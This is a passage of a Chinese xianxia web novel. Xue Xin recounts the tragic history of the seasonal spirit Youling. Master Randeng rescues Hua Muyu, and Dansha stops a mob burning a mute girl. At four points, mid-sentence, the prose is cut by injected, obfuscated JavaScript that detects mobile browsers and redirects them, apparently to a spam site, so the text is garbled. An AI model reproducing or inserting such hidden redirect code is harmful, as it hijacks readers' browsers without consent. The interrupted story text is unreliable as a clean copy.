丹砂一挑眉。 “我知道你。你是燃灯的第二个徒弟。”薛心回过头来,对花沐雨温和一笑,“当初你师父还是个小豆丁呢,一转眼他养的徒弟都成大姑娘了。” “啊……”花沐雨也不知怎的,可能是这位薛姑娘长得太想让人亲近,她一对上她的眼睛就觉得话都不会说了。 幸好丹砂解救了她:“你们要在这儿抱着印偶叙旧吗?” “你的脾气还是这样差。”薛心笑了丹砂一句,示意花沐雨跟她一起把印偶扶起来。 “您也认识她吗?”花沐雨奇怪地问。 “唔……”她似乎陷入了回忆,“许多年前见过一次。” 作为被谈论的对象,丹砂自始自终都置身事外。花沐雨和薛心扶起了印偶往屋里走,她就不远不近地跟着。 “你好像什么都知道。”花沐雨有些不好意思地问薛心。 “活得久了,自然见识得多一些。”薛心将碍事的屋门推开一些,和蔼地说,“按辈分,你该喊我祖师奶奶呢。” 花沐雨一笑,只当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294811|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她在打趣。凌虚界上下,祖师前辈她都见了个遍,从没听谁提过她还有一位祖师奶奶。 “你是为扈陵的瘟疫来的吗?”花沐雨问。她下意识地觉得薛心是来帮助别人的。 “算是吧。关于这个印偶的事,我倒可以跟你们说一说。”薛心顺着力道把印偶放回床上,回身问站在门口的丹砂,“你不是在查天谴的事?不进来一起听一听吗?” 丹砂臭着脸倚在门外,不答话,也不进来。 “你知道天谴的事?”花沐雨燃起希望。 丹砂不动,薛心也并不强求。她在印偶的床边坐下,体贴地抚开挂在印偶眉间的碎发:“灵物天生天长,只有来处,没有名字。但她不一样,她是一只有名字的灵物。你们可以叫她有灵。” “有灵。”花沐雨默念了一番这个名字,问,“是印偶的主人给她取的名字吗?” 薛心摇头,又问:“你们知道她是什么灵物吗?” 花沐雨看了一眼丹砂:“我猜过她是不是梨花,或者冰雪之类的,但感觉不太准确。” “此事说来话长了……”薛心坐在床边,将一段陈年往事娓娓道来。 天道有常,轮回四季。四季之灵,由天地孕育,惊蛰时出世、大寒后消散,周而复始,一生一年。 此等灵物本该生而知之,然而某一年雨水时雨翁被天帝拉住下棋,耽误了时辰,少下了三场雨,所以这一年的四季之灵醒来后只有人形、通人言,但身为灵物的传承全部丢失,这个新生的四季之灵不知道自己是谁,更不知道自己身上承担着怎样的天命。 自知坏事的雨翁下界来寻四季之灵,四季之灵只当雨翁要来抓她,慌不择路,撞见个同样下界办事的公子。这公子是一副温柔心肠,见这灵物惊慌失措,起了恻隐之心,就带她逃出了四季之灵世世居住的深山,也叫前来弥补的雨翁扑了个空。 脱险后,这公子本想将灵物放归深山。但他是灵物诞生后见到的第一个人,懵懵懂懂的灵物对他多有依赖,公子无奈,加之自身也有要事在身,便将灵物带在了身边,取名为有灵,想着等到办完事,弄清楚她到底是什么灵物,再将她好生安置。 公子的初衷是很好的,但世间多的是阴差阳错。公子未曾料想到,这灵物跟着他来到人间,见识了人类的七情六欲,竟逐渐对他生出了情愫。 不谙世事的四季之灵笨拙懵懂,一腔心意却赤诚无比,公子怎能不被她打动? 这本是一件美事,心怀天下的温柔公子与赤诚纯真的灵物出生入死,公子亦早已禀明了师父,只待此间事了就带灵物回师门完婚。然而春秋辗转,离大寒越近,四季之灵的身体就越发虚弱。公子只当爱人旧伤难愈,遍寻三界,想要为心爱之人找到延续生机的办法。 然而,四季之灵诞生之初就定下的天命,岂是人力可以扭转。 之后不久,雨翁终于找到了他们。他和公子说明了有灵的身份,并提到若是四季之灵不按天命轮回,则人间四季必将大乱,到时民不聊生、生灵涂炭。这一年有灵离开深山,没有她在灵眼,人间的气候已是反常,莫说延续生机,就算她如期消散,一场天罚也是免不了的了。 听至此处,花沐雨默然。难道这便是这一场天谴的由来? 32. 一憾难平命何泊 薛心接着说道: 人间气候反常之事,公子也早有察觉,如今知道了有灵的身份,知自己与其有缘无份,不由黯然。 这公子是一副温柔心肠,见苍生在劫犹不忍心,又怎能忍心见着爱人受苦?辞别雨翁后,他带着有灵回到了她诞生的深山中。为了让她安心地度过最后一段时光,他向有灵承诺,待到明年梨花盛开,她就会安然无恙,他们也将再次相见。 有灵怀着这样的期盼陷入沉睡,公子以自己全部的灵力补全了有灵因雨翁少下三场雨缺失的灵气,又孤身替有灵承担了所有天罚,最后的灵识化作清风,消失于山林之间了。 锁链的撞击声不住响起。 印偶是有听觉的,不知床上的灵物还剩几分神志,听到这里,她开始剧烈挣动。 花沐雨想要上前,但坐在床边的薛心温柔地握住了印偶的手,花沐雨这一步便不知怎么迈不出去了,只能叹道: “原来她竟然是这样特殊的灵物。但她为何不在深山,而在此处?” 薛心笑着继续说道:“前面说到有灵怀着期盼陷入沉眠,然而就在天罚结束后,有一个人踏着焦土来到了这片山间。” 那人有着极特殊的威能,强行唤醒了即将消散的有灵。 她对有灵说:“其实公子是骗你的。他本来就没打算救你,只等你消散之后再另寻新欢。” 有灵自然不信。 那人便继续说道:“既然这样,你要继续等他吗?” 有灵自然要等。 于是那人告诉有灵:“你本是四季之灵,按照节律,你当在大寒时节消散,等到第二年惊蛰时复苏。重生后,你将失去此世所有的记忆,到时候你连公子是谁都不记得了,又何谈等他呢?” 借公子的灵力补全了传承的有灵知道她说的不假,有灵本该在沉眠中逐渐消散,此时被这人强行唤醒,意志已有些模糊了。这一次,她听信了那人的话。她不愿意忘记公子,那人便教给她一个方法,让她把自己的记忆封印在自己的身体里,这样她就会记得这一切,可以继续等着她的公子回来找她。 有灵同意了。 她亲手在自己的脸上画下镇印,把自己变成了自己的印偶。那人教给她的镇印把她强留在天地间,如此一来,她再也无法消散。镇印与天命同在她身体中撕扯,挣扎在完整与破碎之间,有灵每一刻都无比的痛苦。 如此大逆不道,天罚不止,天谴降世。有灵身上的镇印变成不详的黑色,天雷将那座山劈到寸草不生,而那人已带着有灵偷偷离开,在人间四处辗转。 说完,薛心捻起一缕漆黑的发丝:“想来你们也发现了,她发丝上的这些黑气,就是绵延开的天谴之力。来到扈陵后,她把天谴的气息也带到了这里。苍天惩罚这片胆敢私藏她的土地,在此地降下瘟疫。医者逆天而为,一切手段自然都会逐渐失效。如若有灵早点应劫而死,此地的天谴之力或可解除。但早已过了梨花盛开的季节,她还是顶着万分的痛苦,在她所在之地催开梨花,只怕她的公子食言。她糊涂了,不知道她所等待爱人早已不在人世了……” 薛心温柔地抓着印偶,但印偶在她手中丝毫挣脱不了。她回头看向花沐雨:“我来就是想告诉你,杀了她就可以解除扈陵的瘟疫。所以你要杀了她吗?” 花沐雨呆住了。 一直在门外的丹砂几步走到花沐雨身边,一下拉住了她的胳膊。直视着薛心柔顺的双眼,丹砂冷声问道:“那么你又是谁,怎么会知道得如此清楚?” 一语惊醒梦中人。 花沐雨彻底从那种迷蒙的幻梦中挣脱出来,警惕地反拉住丹砂,手中也变出了最惯用的长枪。 “我会这么清楚地知道,是因为告诉她怎么把自己做成印偶的那个人,就是我啊。”薛心含笑看着她们并肩站在一起,柔声说道,“这么说来,我还是她的救命恩人呢。” 面对如此坦然的薛心,花沐雨一瞬间竟有些困惑。她不明白薛心到底是故意如此,还是出于善意做了坏事,甚至开始想此举背后是否有其他不为人知的考量。 丹砂在一旁紧握着她的手臂,提醒她不要被薛心迷惑。 言至此处,薛心语气中有了些感慨:“至于我是谁……我说了,我是薛心啊。时间过去这么久,世间都不再传颂我的名号,但你们应该听说过江流派的开山祖师江流圣人。那是一位女圣,她身具江河神女的血脉,凡姓薛,名心,精才绝艳,千古无人能出其右。” “江流圣人已经于三百年前的辟界之战中陨落了。”花沐雨冷冷地说。 薛心扑哧笑了:“燃灯是这么教你的吗?” 花沐雨声色俱厉:“江流圣人心怀苍生,为救万民于水火,不惜以身祭阵,怎么可能如你这般……”她想不出什么词汇能形容眼前笑靥如花的人,只能暂停在此。 “你说的就是我啊。”薛心看着她,笑着摇头,仿佛花沐雨的坚持有多么荒谬。 花沐雨下意识地想要反驳,丹砂略上前一步,将花沐雨挡在自己身后:“多谢薛圣亲自为晚辈解惑,只是不知薛圣今日又缘何到此?” 薛心眼珠一动,目光落在丹砂身上。丹砂寸步不让地与她对视,薛心一笑:“你眼里还是揉不得沙子。” “其实我本来可以不出现的。”薛心收敛了笑意,转而有些无奈地道,“可是我又想了想,要是我在背后做了这么多,你们却连我本人都见不上一面,甚至都不知道这一切是我做的,那多没意思呢?所以我就来了。” “多谢薛圣。”丹砂道,“我不知道你和我们有什么因缘,如今晚辈已知薛圣威能,心中叹服万分。薛圣的目的已经达到,自可离开了。” “还没完呢。”说着,薛心站了起来。在薛心掌中,有灵犹如困兽,薛心拎着她的手腕,向花沐雨二人迫近一步,“所以,你们要杀了她吗?” 花沐雨双手一紧,苍白的指节几乎刺破皮肤。 “哦,对了。”薛心似是忽然想到了什么,补充道,“你是燃灯第二个徒弟,按你现在的年纪,应该见过你大师兄吧?” 花沐雨脑海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294812|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中猛然闪过一道霹雳。 她师父燃灯,昔日凌虚界第一大派凛岳如今的掌门人,没什么本事,颇为迷信卜算。花沐雨听他念叨过许多次,他算到自己将来会收四个徒弟,于是早早就为未来的徒弟们想好了名字。 栉风沐雨,卧雪眠霜。 她排行第二,出身雪国,资质平平,入师门后舍凡间谢姓,改姓花,名为花沐雨。她还有一个师兄,出身鸪川,光风霁月,名为林栉风。 十六年前,她受师父急召赶回门生堂。门生堂中先师肃穆,黑压压的牌位下,只有最末端亮着代表师徒三人的魂灯。她与师父全力护法,但代表着师兄的那一盏烛火还是一夕湮灭。 师父一声长叹,从此凛岳绵延万里,只剩他与花沐雨师徒两人。 花沐雨心念电转,眼神大震。 “回忆起来了吗?”薛心含笑看着花沐雨,“你想的没错,故事里那位公子,就是你早已仙去的大师兄,林栉风。我手上的,是扈陵生灵涂炭的源头,也是你师兄的未亡人——你师父那个性子,肯定跟你提过,你也找了她很久吧?那么,你要怎么选?” 丹砂攥紧了花沐雨的手,朗声道:“有我等在此,何愁扈陵与她不能两全。若薛圣非要我们选一个,大可杀了我们,或在此跟我们耗到天荒地老!” “你们耗得起,扈陵城中的百姓耗得起吗?”薛心淡淡地说,“祸端已经种下,这每时每刻过去,永安堂那边会有怎样的发展,你们还不知道吧?” 花沐雨心神不定。永安堂?永安堂怎么了? 丹砂漠然:“既是薛圣安排,如何发展,又岂容晚辈置喙。” 薛心摇头,仍将目光投向花沐雨:“这故事说起来远在天边,实则就发生在你我眼前。你已经猜到了吧?那座山,就是你国门外的平堂山;平堂山十几年寸草不生,就是天罚余波不散。哦,对了,你可知为何你师父要给你改姓花?” 看着花沐雨动摇的神色,薛心再次逼近一步:“谢薛同声,雪薛同音,你改姓花,那是因为整个凌虚界,都要避我薛心的讳!” 话音落下,薛心手中握住了枪尖的一点寒芒。刹那间的枪风仍鼓动着薛心的衣袂,但花沐雨手中的枪再也无法寸进。 “动作还可以。”薛心冷笑道,“你的这点本事,对付凡人确实够了。刀枪不入又如何,我今日再教你一课,在我手里,天地山水、一草一木,皆为造化!” 金光暴起,薛心与有灵弹指间消失不见。四周场景转瞬偷换,须臾漆黑一片。紧抓不放的双手落在空处,花沐雨一脚踏空,整个人落进茫茫无边的水里。 无数气泡自她周身腾起,一口气存在喉头,她紧紧地闭上了眼睛和嘴巴,耳中灌满了隆隆水声。双手胡乱扑腾着,她分不清上下,更不知道何处是出路。 越是慌乱,她越是想要呼吸,仓皇间几乎再也憋不住气。花沐雨用尽最后一丝力气挣扎,却感觉四肢越来越沉重。恍惚间她仿佛睁开了双眼,逐渐模糊的视线里只看到头顶上摇晃的光点离她越来越远。 33. 垂髫弟子白发斑 花园之中,不速之客到访。 一个秃了头的灰袍老道斜挎着一个破布口袋,一边兜圈子,一边不住掐算。 “明明就在这附近啊……”无论如何都算不出,他急得团团转,紧闭双目,重新掐起手指,口中喃喃自语,“没事没事,别乱别乱,乾一兑二震四离三,乾一兑二震四离三……” 千呼万唤,漆黑的双目前荧光一闪。老道紧闭的双眼圆睁,哈哈大笑一声,目光如炬,两指并拢,朝北一点。一柄木剑自他身后飞出,剑锋所指,纷纷落花皆被吹散。 老道年迈,却身轻如燕,足下一点随木剑而去,正是凛岳的戴月随风身法。 木剑飞入井中,老道旋身,一把托住了木剑从水里捞出来的人。 一落地,花沐雨立刻挣开他,把身子歪到一边疯狂咳嗽。 老道此时才能松一口气,脱力似的一屁股坐到了地上。见她咳得像是要死过去,又赶紧起来,在一旁帮她拍着后背,连声问:“没事儿吧?” 花沐雨痛苦地摆手,死死抓住他,在呛咳的间隙断断续续地说:“师……咳!” “我知道我知道。”老道忙哄道,“还有两个孩子,我都看到了,你放心吧他们死不了,你先缓一缓,等你好点我们一起过去。” 花沐雨的鼻腔和喉管剧痛无比,仍强自将咳意按捺下来,不顾双眼憋得通红,艰难地吐出一个字:“快!” “好好好。唉,你这孩子……”老道无奈地将她从地上拎起,脚下一闪,木剑应召而来,“别掉下去啊!” 这老道正是花沐雨的师父,凛岳燃灯道人。 燃灯的头,说秃也不是完全秃。除去锃光瓦亮的脑门,后脑勺和头顶还有些灰白的头发和依稀可见的绒毛。这些宝贵的资源都被归拢到一处,用一小根火柴似的细树枝歪歪扭扭地别着。 发量已经没什么挽救的必要了,好在他胡子生长还算茂盛。只是这胡子茂盛得如同野草,乱七八糟地盖住他大半张脸和几乎半个胸口,几乎从没打理过,他自称是仙风道骨,实际徒叫人觉得邋遢罢了。 燃灯道人已经很老了,他的身形有些佝偻,比如今的花沐雨还矮半头,只是身子骨依旧稳健有力,精神头也足。 花沐雨几乎可以算是在燃灯身边长大,虽然这个小老头时常不靠谱,但此时站在他身后,花沐雨也不由得生出几分底气。纵然面前还有无数难关未过,她连日紧绷的神经也一下子松懈下来,来不及叙旧,只忍不住偷偷躲在燃灯后面吸了吸鼻子。 燃灯带着花沐雨一路风驰电掣,用的还是在凛岳上练出来的速度。二人顺着因果盘的指引飞快赶到了锦鲤池边,飞剑直冲僵立的卜芥而去。 卜芥一直被定在这里,无论如何都挣动不了,此时眼见二人踩着飞剑而来,也躲闪不得,惊恐地做好了撞个头破血流的准备。 老道倒是灵巧,提前几步收了剑,借着冲劲往他脑门上拍了一掌:“解!” 卜芥被拍得蹬蹬蹬倒退几步,万幸定身是成功解开了。 定身一解,卜芥来不及问这个陌生的小老头是谁,就急着跟他们说自己这边发生的事:“你们没事儿吧?有一个神神叨叨的女人把我定在这里,然后往后边去了!” 花沐雨刚咳完,嗓子还有些哑,一边揉着喉咙一边说:“先去找丹砂。” 找人要紧,卜芥想知道发生了什么事,当下也不便多问,跟着燃灯和花沐雨一阵急赶。未来得及赶到西下间,就在半路遇见了丹砂。 卜芥连忙迎上去,花沐雨心下存了几分疑虑,担心这个丹砂是其他什么东西变的,脚下不由得慢了两步。 丹砂注意到花沐雨的迟疑,翻了个白眼:“我那什么事都没有。金光过后你们都消失不见,我就自己出来了。” 看起来是丹砂本人没错,花沐雨心虚地摸摸鼻子,为卜芥和丹砂介绍道:“这是我师父,燃灯道人。多亏他及时赶到,要不然我就淹死了。” 卜芥当即补施了一礼:“弟子见过燃灯祖师。”丹砂也跟着行了礼。 燃灯摆摆手:“你们都是小南国的孩子们是吧?快起来吧,不用整这些虚的。” 花沐雨正要说话,卜芥看了一圈,问:“路通呢?你们没见到路通吗?” 花沐雨这才惊觉自己竟将路通忘记了,赶忙转头问燃灯:“师父,宅子里面还有别人吗?” 燃灯道:“没别人了,就我们四个。”说着,又拿出因果盘,“剩下那个孩子叫什么?” “路通。”花沐雨道,“道路畅通的路通。” “路通……”燃灯默念了一遍路通的名字,因果盘西北方向亮起一个柔和的白色光点,随着呼吸微微闪烁。 “人没事儿。”燃灯手指微动,“回家里找去吧。” “家里?”卜芥不解。这会儿工夫,路通竟已经回了小南国? “你们之前都住哪儿?”燃灯问。 卜芥和丹砂交换了一个眼色:“永安堂……” “那就去永安堂找去吧。”燃灯一摆手,“人没事儿,回永安堂去了。” “路通怎会私自回永安堂?”卜芥的眉头皱在一起。 花沐雨回忆起薛心的话,想必永安堂已经出了某些变故。 丹砂也想到了这一点,立刻道:“我们得回永安堂去。” “我们能回去吗?”卜芥还有些疑虑。 “能。”丹砂干脆利落地回道,“印偶被人掳走了。 “那我们就兵分两路,你们回永安堂,我和师父去追印偶。”花沐雨话刚出口,之前的事又袭上心头,叫她神色中一下子多了些犹豫。 小南国的弟子们不通武技,若有什么万一,即便他们回去也应付不了,再添伤亡可怎么办?但师父近年也总是体力不济,让师父一个人去对付薛心她也放心不下。难道要再给丹砂一些白袍军吗?但是白袍军有什么用,此前还不是出了意外? 她心神不定,忽悠一下又想到,此时此刻,永安堂是不是已经出了意外? 这么一想,她背后立刻冒出了冷汗,正要开口,就被燃灯打断了。 燃灯的左手从刚刚开始就一直背在身后,实际上是藏在袖中掐算。眼见丹砂和花沐雨商定,燃灯开口说道:“且慢。” 已经准备转身离开的丹砂和卜芥回头向他看去。 “等下,等下。”燃灯怕他们腿快,着急走了,一边制止,一边翻自己的破布口袋。翻了半天,翻出半沓空白的符纸来。 这沓符纸材质普通,边缘潦草,有的甚至都不成规整的方形,不过燃灯还是当宝贝一样,沾了点口水,颤颤巍巍地点出来两张,略一犹豫,又抿回去一张,而后把剩余的揣回口袋里,将数出来的一张递给丹砂:“你俩带我这张符回去,若是遇到实在的难事,就用灵力灌在符中,到时难关自然可解。” 再一想,燃灯又掏了掏口袋,掏出另一把符来。这一把符就规整多了,看得出是不错的符纸,上面也画了符箓。对这符,燃灯大方了许多,直接将一把符都塞到丹砂手中:“这是斗符,你们不能打,要是有什么事,就把这个符乱甩出去,保准炸得对面灰头土脸。” 此前他用因果盘,还可视作是凛岳法器。而今眼见他掏出符纸来,卜芥便有些瞠目结舌了——鼎鼎有名的剑修第一大派凛岳,何时会用这些法修的手段了? 丹砂并未多问,只将符纸接过来,恭敬地道了谢。 “去吧,孩子。”燃灯挥挥手,“切记为道者,当如破岩劲竹,纵世人有千般贪嗔怨憎,自需千磨万击还坚劲,任尔东西南北风。” 见卜芥面露迷茫,他摇摇头,又感叹道:“我这知识啊,都学杂了。” 目送丹砂和卜芥离去,燃灯拍拍衣服,重新拿起因果盘:“徒儿,我们去追谁?” 花沐雨沉默片刻,说出印偶的名字:“有灵。” 燃灯一怔,一边启用因果盘一边笑道:“挺有缘啊,你大嫂子也叫这个名字。” 花沐雨有一瞬间不知如何开口,看他的因果盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294813|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上亮起灵光,才说:“好像就是我嫂子。” 燃灯噎住,悬在因果盘上的手也停了。因果盘已经应言给出了西北方的指示,他手指微颤,最后一敛眸:“先出发,路上说。” 不过这一会儿工夫,薛心已经带着印偶跑出几百里。 飞剑上,花沐雨将从发现印偶到遇到薛心的经过,以及薛心所说之事给燃灯大概讲了一遍,而后道:“我不知该不该信她。”想到那漫天的金光,花沐雨又问,“她为何不直接杀了我们,而要一直问我做选择呢?” 燃灯听后也是默默了良久:“薛圣的心性变了,但从前的习惯并没有变。她从来不编瞎话,也从不伤人性命……从前是真不杀,之后摆弄天命,姑且也算是没有亲手杀过人吧。” “她竟真的是江流圣人吗?”花沐雨心中五味杂陈,“你不是说她已经仙逝了……” 燃灯道:“不要聊这个了。此处四面透风,待此间事了,回到凛岳,我再与你细说。” 花沐雨心中有一堆疑问,听他这样说,也只能压下。 谁都没说话,过了会儿,燃灯问:“冷不冷?” 花沐雨这才想起自己的衣服还湿着,她在风里扥了扥衣服,吸着鼻子说道:“不冷。” “你身上的灵力怎么回事?”燃灯一见她就发现她身上灵力全无,只是中间一波未平一波又起,这时才有时间问起,“给你的纸鹤呢?离家一个来月,一封书信都不传来,要帮忙还要托别人来找我?” “您老人家卦算得准。”花沐雨讪笑道,“这不是出了一点变故,你也知道咱们凛岳这传信纸鹤认灵气,我身上一点灵气都没有,拆都拆不开。” 不想燃灯细问,花沐雨忙岔开话题:“你怎么找到我的?” “你不是让川连给我传了信吗?”燃灯在呼呼的风声里答道,“我早跟你说了,你此次下山有血光之灾。之前我正闭关呢,出关才看到信。收到信之后我掐指一算,得,命悬一线啊。那我还能怎么办?我收拾包袱就出来了。” “你来得真及时。”花沐雨说,“我差一点就死了。” “我就怕来不及嘛,一路紧赶慢赶的,进城的时候还让人家用小箭射了一通,整得我怪痒痒的。”燃灯抱怨着,“你那地方可不好找,我在花园里转了得有百八十圈,死活找不着。后来还是我聪明,我寻思着找你找不着,干脆找我给你那纸鹤吧,那玩意儿认人啊。结果你猜怎么着?嘿,一下子就叫我找着了。” 听他提起,花沐雨从怀中掏出一直揣着的纸鹤。这种特制的纸鹤并不怕寻常的井水,小小的一只散发着荧光,在花沐雨手里抖搂抖搂翅膀,冷不防差点被风吹跑,花沐雨连忙捂住。 燃灯回头看了一眼:“回去得让你师弟改一改,灵力耗尽就断了联系,这多耽误事儿啊。” 说到这,小老头又絮叨了起来:“你们一个个的,都不叫我省心。没一个得我真传不说,还一个接一个地坏事儿。你这事儿还没完呢,你师弟又不知道跑哪去了。还得是你大师兄,那叫一个剑术上的天才,还事事妥帖,只可惜是个短命鬼,死得比我还早。” 燃灯时不时就要拿林栉风出来念叨两句,这么多年花沐雨也已习惯了,倒是留意到了另一件事。 “卧雪没在凛岳吗?”花沐雨皱起了眉头。 “没有啊。”燃灯不满地说,“我醒来后,整个山头就剩我一个人了。” “他怎么下山了?”花沐雨问。 “不知道,信太多了,都堆在一起。”燃灯道,“你说平时也没人搭理我啊,怎么不过闭了十天半个月的关,就一股脑收到那么老些信。我捡着最近的看,才看第一封,就是川连写给我的。看完可好,我着急忙慌地来救你,其余的那些都没时间看了。不过我算了一卦,那小子没事儿,也这么多年了,让他下山溜达溜达吧。” 花沐雨无语,仍不免担心曾卧雪遇到什么事。 燃灯宽慰道:“追上你嫂子之后再说吧。你放心,那小子死不了。” 34. 红颜弹指老 兵分两路,丹砂和卜芥赶回永安堂。 卜芥和路通来时架了车,卜芥把之前花沐雨和丹砂骑来的马拴在驾前,嘱咐丹砂坐好后,二人便启程。 一路无话,卜芥和丹砂快马加鞭赶回永安堂。马车将一停稳,丹砂便掀起帘子跳了下来。 往日里永安堂前忙忙碌碌,这会儿却一个人影都没见。他们回来时车马声好大的动静,也没有人出来看一看。丹砂当下便觉得不对,沿着墙根走到大门边,探头往里一瞅,只见人都围在庭院里,黑压压的人头挡着,瞧不见里面发生了什么。 卜芥拴完马,见她鬼鬼祟祟地贴在门边,不以为意,噔噔噔三两步迈上台阶,张口便冲里面喊道:“师父!师兄!我回来了!” 丹砂心头一跳,连忙缩回头来。来不及瞪他,就听里面传来呼喊:“那儿呢!那还有一个!” 丹砂看不见院里的情况,只看到卜芥一愣,往后退了一步,面上有些茫然:“你们这是干什么?” 不过说句话的工夫,门里便呼啦啦冲出一群手拿棍棒铲锹的男人,直朝卜芥过去。卜芥下意识地往阶下退去,丹砂藏在门边,身量也小,一时倒被他们忽略了。 丹砂心知不妙,看这个情况肯定是出了什么事。他们一群人围上来,卜芥即便能挣扎也跑不了多远,自己被发现也是迟早的事。又转念一想,他们都出来了,里面说不定没人拦着,于是心下一横,把燃灯给的两种符分别攥在左右两边袖子里,趁阶下一团乱战,矮身便往院里冲。 她个头小,但冲得猛。大门口到院里五六步的距离,看热闹的妇孺有的没反应过来,有的只顾得惊叫躲避,一时竟没人能拦住她。 丹砂挤到里面,一抬眼就看到哑女垂着头,一动不动地被捆在院中的合欢树上,底下的火已经呼呼烧了起来。除了路通,旁边小南国的人都被捆成一串,树对面不远处摆了个供桌,桌上供着香烛瓜果并一尊神像,桌后站着个黄袍道士。 四目相对,黄袍道士也反应了过来,大喊道:“抓住她!快抓住她!” 这一段说来话长,实际发生起来不过片刻。里面的老弱妇孺不敢上前,外面的人还在跟卜芥撕扯,丹砂不知道这帮人又在发什么疯,不等众人反应,直朝那供桌冲了上去,三步并作两步,一把掀了他的供桌。 香烛瓜果滚了一地,人群像是被圈在圈里的羊,你推我挤地躲避滚烫的香炉和烛火。那尊神像也掉在地上,哗啦啦摔得粉碎。 供桌侧后方正是他们平日取水的地方,竹筒里的水滴下来,下面用盆接着,滴了满满一盆。丹砂快步上前,抄起水盆,一盆水扬出去,合欢树下的火浇灭了不少,又溅了周围看热闹的人一身。 神像的脑袋咕噜噜打着转滚到黄袍道士脚边,黄袍道士直勾勾地盯着那慈眉善目的一张脸,面皮忽地骇人地痉挛,手指一抽,拂尘啪嗒一声掉在地上。 见火势暂且无碍,丹砂气喘吁吁地回身,一把将水盆摔到地上,怒目圆睁,朝四周的人群厉声喝道:“都疯了吗!人家救你们所有人一命,你们把人家捆起来烧?一群忘恩负义狼心狗肺的王八羔子!” 不过是一个小孩子,众人却不知为何都被她这疾言厉色镇住,四下鸦雀无声,没有一人搭言。 黄袍道人本就有些天生下来带的毛病,情绪一激动,牙齿咯咯响,口中含糊地呢喃:“妖孽……” “你才是妖孽!”丹砂看着他古怪地抽搐痉挛,心中毫无惧意,一把推在他胸口。那道士本就有些站不稳了,被她一推便直直倒下,起都起不来。 解决了这莫名其妙的道士,丹砂正要问清是怎么回事,就听门口传来叫骂,正是那群人押着卜芥回来了。 一个小孩哇地一声哭了出来,打破了院中的寂静。原本站在供桌旁边的路通一激灵,指着丹砂喊道:“抓住她!快抓住她!” 人声嘈杂起来,原本躲得远远的人群开始试探着朝丹砂欺来。广丹南星等人都被堵住了嘴绑在后面,见状急得呜呜叫。 丹砂寸步不让,盯着那群男人拨开人群骂骂咧咧地走近,将捆住的卜芥丢到小南国众人中间,不等他们朝自己伸手,便将手中的符咒甩出。 当初燃灯给丹砂的一把符少说也有三四十张,丹砂此时丢了一半出来。符咒的效果比燃灯说得好许多,轰隆隆响雷一般对着脸炸开,骇得人们屁滚尿流。 这时,太子得部队终于赶到,呼啦啦冲进院子,将丹砂等小南国弟子团团护住。 “大胆刁民,竟然冒犯小南国的仙师!”太子厉声喝道。 丹砂懒得问他们怎么早先不来,从靴子里抽出匕首,先替广丹割了手上的绳子。 广丹自去替其他人松绑不提,哑女还被绑在树上生死不知。丹砂松开广丹,便急到合欢树旁将残火踩灭,割断捆着哑女的绳子。绳子一解,哑女便软软倒下。 那边川连松了绑,便道:“此前你们都去哪里了?” 太子愧疚万分:“仙师有所不知,刚才有一个老头强闯城门,寻常将士阻拦不住,被他闯进城来。我带兵一路追寻,追丢了人。担心他对你们不利,这才急匆匆赶了回来。” 川连无可奈何,站起来骂道:“路通,你这个鬼迷心窍的孽障,还不快给我跪下!” “你们都被迷惑了!”身边的平民百姓都已跪下,路通犹自慷慨陈词。 且不论川连在太子身边与路通对峙,南星一边扒拉着腿上的绳子,一边赶过来帮丹砂将哑女扶下来。 丹砂和南星扶着哑女平躺在地上。丹砂研究了好几天印偶,一摸就知道哑女的情况不妙。印偶印偶,是天地灵物做成的容器,然而此时丹砂光贴近便知道哑女近乎只剩下一具空壳,竟连一丝灵气都没有,比被囚禁了那么久的有灵都不如,甚至都已经可以说是死了。 不等丹砂询问,南星便快速地说道:“他们不知如何将她抓住,拿着那尊神像围着她绕了三圈,她便这副样子了。” 神像? 丹砂闻言,起身去看,只见白瓷的神像碎了一地,头正落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294814|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那道士脚边。 倒把这个道士忘了。丹砂瞥他一眼,见他嘴歪眼斜口涎四溢,知他不中用了,懒得多看,自己蹲下来仔细研究那神像。 